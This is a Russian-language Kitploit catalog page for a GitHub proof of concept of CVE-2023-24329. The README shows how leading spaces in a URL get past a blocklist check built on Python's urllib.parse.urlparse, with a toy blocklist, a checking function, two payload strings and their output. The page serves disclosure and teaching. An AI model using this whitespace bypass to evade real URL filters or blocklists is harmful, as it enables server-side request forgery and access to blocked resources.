Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2023-24329-Exploit — Доказательство концепции, демонстрирующее обход парсинга URL в Python urllib.parse (CVE-2023-24329), который позволяет обходить блок-листы путём добавления пробелов в начало. | Kitploit
Инструменты/GitHubGitHub/pentestmano/cve-2023-24329-exploit
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийВеб-безопасностьТестирование на Проникновение
GitHubpentestmano/cve-2023-24329-exploit

CVE-2023-24329-Exploit

Доказательство концепции, демонстрирующее обход парсинга URL в Python urllib.parse (CVE-2023-24329), который позволяет обходить блок-листы путём добавления пробелов в начало.

Репозиторий
2 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Введение

Функции разбора URL предназначены для разделения строки URL на её компоненты или для объединения компонентов URL в строку URL.

  • urllib.parse.urlparse

Просто urllib.parse используется для разбора URL, мы можем обойти его, добавив пробелы перед URL. Это происходит в python 3.11.4 и более ранних версиях.

PoC

Давайте разберём example.py

Вот набор сайтов, к которым вам не следует обращаться:

root@kitploit:~
blocked_list = [
    "http://example.com/",
    "http://example2.com/"
]

Эта функция проверяет, находится ли сайт в списке заблокированных или нет, если он в списке заблокированных, она должна вернуть URL Blocked

root@kitploit:~
def is_url_blocked(url):
    parse = urllib.parse.urlparse(url).geturl()
    if  parse in blocked_list: return 'URL Blocked'
    else: return 'Bypassed'

Теперь я добавил два URL и проверяю, заблокирован ли какой-либо из них и не может ли он быть доступен:

root@kitploit:~
payload1 = "    http://example.com/"
payload2 = "http://example.com/"

print(
    is_url_blocked(payload1),
    "\n",
    is_url_blocked(payload2)
)

payload1 — это то, где я обошёл is_url_blocked(), потому что добавление длинного пробела перед URL обойдёт urllib.parse.urlparse(url).geturl(), и он не выполнится так, как ожидалось. Вот почему вывод такой

root@kitploit:~
Bypassed

Но на payload2 мы получаем

root@kitploit:~
URL Blocked

Поддержка

Если вы хотите поддержать меня пожертвованием, я рекомендую вам отдать его тому, кто действительно в этом нуждается, пожалуйста. Если вы так сделаете, то считайте, что я заслужил вашу поддержку.

Buy Me A Coffee

Скачать инструмент